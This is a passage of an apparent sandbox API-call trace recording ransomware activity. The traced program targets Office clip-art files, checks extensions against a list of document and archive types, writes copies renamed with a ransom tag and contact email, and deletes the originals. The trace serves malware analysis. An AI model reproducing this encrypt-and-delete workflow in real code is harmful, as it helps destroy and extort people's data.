Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0194.490] lstrlenW (lpString=".dbf") returned 4 [0194.490] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0194.491] lstrlenW (lpString=".1cd") returned 4 [0194.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0194.491] lstrlenW (lpString=".jpg") returned 4 [0194.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.493] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=8314) returned 1 [0194.493] CloseHandle (hObject=0x564) returned 1 [0194.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195260.wmf")) returned 0x220 [0194.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195260.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0194.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195260.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0194.494] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.494] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195260.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0194.496] GetLastError () returned 0x0 [0194.496] ReadFile (in: hFile=0x564, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x207a, lpOverlapped=0x0) returned 1 [0194.498] WriteFile (in: hFile=0x44c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x2080, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2080, lpOverlapped=0x0) returned 1 [0194.500] ReadFile (in: hFile=0x564, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.500] WriteFile (in: hFile=0x44c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.500] SetEndOfFile (hFile=0x44c) returned 1 [0194.500] CloseHandle (hObject=0x44c) returned 1 [0194.500] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.500] SetEndOfFile (hFile=0x564) returned 1 [0194.504] CloseHandle (hObject=0x564) returned 1 [0194.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0194.505] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195260.wmf")) returned 1 [0194.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0194.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0194.506] lstrlenW (lpString=".doc") returned 4 [0194.506] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.506] lstrlenW (lpString=".docx") returned 5 [0194.506] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.506] lstrlenW (lpString=".pdf") returned 4 [0194.506] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.506] lstrlenW (lpString=".xls") returned 4 [0194.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.506] lstrlenW (lpString=".xlsx") returned 5 [0194.506] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.506] lstrlenW (lpString=".ppt") returned 4 [0194.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0194.507] lstrlenW (lpString=".zip") returned 4 [0194.507] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.507] lstrlenW (lpString=".rar") returned 4 [0194.507] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.507] lstrlenW (lpString=".bz2") returned 4 [0194.507] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.507] lstrlenW (lpString=".7z") returned 3 [0194.507] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0194.507] lstrlenW (lpString=".dbf") returned 4 [0194.507] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0194.507] lstrlenW (lpString=".1cd") returned 4 [0194.507] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0194.507] lstrlenW (lpString=".jpg") returned 4 [0194.507] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.508] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=29432) returned 1 [0194.508] CloseHandle (hObject=0x564) returned 1 [0194.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf")) returned 0x220 [0194.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0194.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0194.515] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.516] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0194.693] GetLastError () returned 0x0 [0194.693] ReadFile (in: hFile=0x564, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x72f8, lpOverlapped=0x0) returned 1 [0194.697] WriteFile (in: hFile=0x538, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x7300, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x7300, lpOverlapped=0x0) returned 1 [0194.700] ReadFile (in: hFile=0x564, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.700] WriteFile (in: hFile=0x538, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.700] SetEndOfFile (hFile=0x538) returned 1 [0194.700] CloseHandle (hObject=0x538) returned 1 [0194.700] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.700] SetEndOfFile (hFile=0x564) returned 1 [0194.705] CloseHandle (hObject=0x564) returned 1 [0194.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf")) returned 1 [0195.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0195.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0195.737] lstrlenW (lpString=".doc") returned 4 [0195.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.737] lstrlenW (lpString=".docx") returned 5 [0195.737] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0195.737] lstrlenW (lpString=".pdf") returned 4 [0195.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.737] lstrlenW (lpString=".xls") returned 4 [0195.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.737] lstrlenW (lpString=".xlsx") returned 5 [0195.737] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0195.737] lstrlenW (lpString=".ppt") returned 4 [0195.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0195.738] lstrlenW (lpString=".zip") returned 4 [0195.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.738] lstrlenW (lpString=".rar") returned 4 [0195.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.738] lstrlenW (lpString=".bz2") returned 4 [0195.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.738] lstrlenW (lpString=".7z") returned 3 [0195.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0195.738] lstrlenW (lpString=".dbf") returned 4 [0195.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0195.738] lstrlenW (lpString=".1cd") returned 4 [0195.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF") returned 68 [0195.738] lstrlenW (lpString=".jpg") returned 4 [0195.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.938] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.938] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196110.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0195.940] GetLastError () returned 0x0 [0195.940] ReadFile (in: hFile=0x554, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x14ce, lpOverlapped=0x0) returned 1 [0195.942] WriteFile (in: hFile=0x45c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x14d0, lpOverlapped=0x0) returned 1 [0195.943] ReadFile (in: hFile=0x554, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.943] WriteFile (in: hFile=0x45c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0195.944] SetEndOfFile (hFile=0x45c) returned 1 [0195.944] CloseHandle (hObject=0x45c) returned 1 [0195.944] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.944] SetEndOfFile (hFile=0x554) returned 1 [0195.948] CloseHandle (hObject=0x554) returned 1 [0195.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196110.wmf")) returned 1 [0195.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0195.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0195.950] lstrlenW (lpString=".doc") returned 4 [0195.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.951] lstrlenW (lpString=".docx") returned 5 [0195.951] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0195.951] lstrlenW (lpString=".pdf") returned 4 [0195.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.951] lstrlenW (lpString=".xls") returned 4 [0195.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.951] lstrlenW (lpString=".xlsx") returned 5 [0195.951] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0195.951] lstrlenW (lpString=".ppt") returned 4 [0195.951] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0195.951] lstrlenW (lpString=".zip") returned 4 [0195.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.951] lstrlenW (lpString=".rar") returned 4 [0195.951] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.951] lstrlenW (lpString=".bz2") returned 4 [0195.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.951] lstrlenW (lpString=".7z") returned 3 [0195.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0195.951] lstrlenW (lpString=".dbf") returned 4 [0195.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0195.951] lstrlenW (lpString=".1cd") returned 4 [0195.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0195.951] lstrlenW (lpString=".jpg") returned 4 [0195.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.953] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.954] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196358.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0195.955] GetLastError () returned 0x0 [0195.955] ReadFile (in: hFile=0x554, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x1b00, lpOverlapped=0x0) returned 1 [0195.957] WriteFile (in: hFile=0x45c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1b10, lpOverlapped=0x0) returned 1 [0195.959] ReadFile (in: hFile=0x554, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.959] WriteFile (in: hFile=0x45c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0195.959] SetEndOfFile (hFile=0x45c) returned 1 [0195.959] CloseHandle (hObject=0x45c) returned 1 [0195.959] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.960] SetEndOfFile (hFile=0x554) returned 1 [0195.963] CloseHandle (hObject=0x554) returned 1 [0195.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196358.wmf")) returned 1 [0195.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0195.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0195.965] lstrlenW (lpString=".doc") returned 4 [0195.965] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.965] lstrlenW (lpString=".docx") returned 5 [0195.965] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.965] lstrlenW (lpString=".pdf") returned 4 [0195.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.965] lstrlenW (lpString=".xls") returned 4 [0195.966] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.966] lstrlenW (lpString=".xlsx") returned 5 [0195.966] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.966] lstrlenW (lpString=".ppt") returned 4 [0195.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0195.966] lstrlenW (lpString=".zip") returned 4 [0195.966] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.966] lstrlenW (lpString=".rar") returned 4 [0195.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.966] lstrlenW (lpString=".bz2") returned 4 [0195.966] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.966] lstrlenW (lpString=".7z") returned 3 [0195.966] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0195.966] lstrlenW (lpString=".dbf") returned 4 [0195.966] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0195.966] lstrlenW (lpString=".1cd") returned 4 [0195.966] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196358.WMF") returned 68 [0195.966] lstrlenW (lpString=".jpg") returned 4 [0195.966] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.967] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.968] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196364.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0195.969] GetLastError () returned 0x0 [0195.969] ReadFile (in: hFile=0x554, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x164c, lpOverlapped=0x0) returned 1 [0196.115] WriteFile (in: hFile=0x45c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x1650, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1650, lpOverlapped=0x0) returned 1 [0196.117] ReadFile (in: hFile=0x554, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.117] WriteFile (in: hFile=0x45c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0196.117] SetEndOfFile (hFile=0x45c) returned 1 [0196.117] CloseHandle (hObject=0x45c) returned 1 [0196.117] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.117] SetEndOfFile (hFile=0x554) returned 1 [0196.121] CloseHandle (hObject=0x554) returned 1 [0196.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0196.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196364.wmf")) returned 1 [0197.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0197.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0197.116] lstrlenW (lpString=".doc") returned 4 [0197.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.116] lstrlenW (lpString=".docx") returned 5 [0197.116] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0197.117] lstrlenW (lpString=".pdf") returned 4 [0197.117] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.117] lstrlenW (lpString=".xls") returned 4 [0197.117] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.117] lstrlenW (lpString=".xlsx") returned 5 [0197.117] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0197.117] lstrlenW (lpString=".ppt") returned 4 [0197.117] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0197.117] lstrlenW (lpString=".zip") returned 4 [0197.117] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.117] lstrlenW (lpString=".rar") returned 4 [0197.117] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.117] lstrlenW (lpString=".bz2") returned 4 [0197.117] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.117] lstrlenW (lpString=".7z") returned 3 [0197.117] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0197.117] lstrlenW (lpString=".dbf") returned 4 [0197.117] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 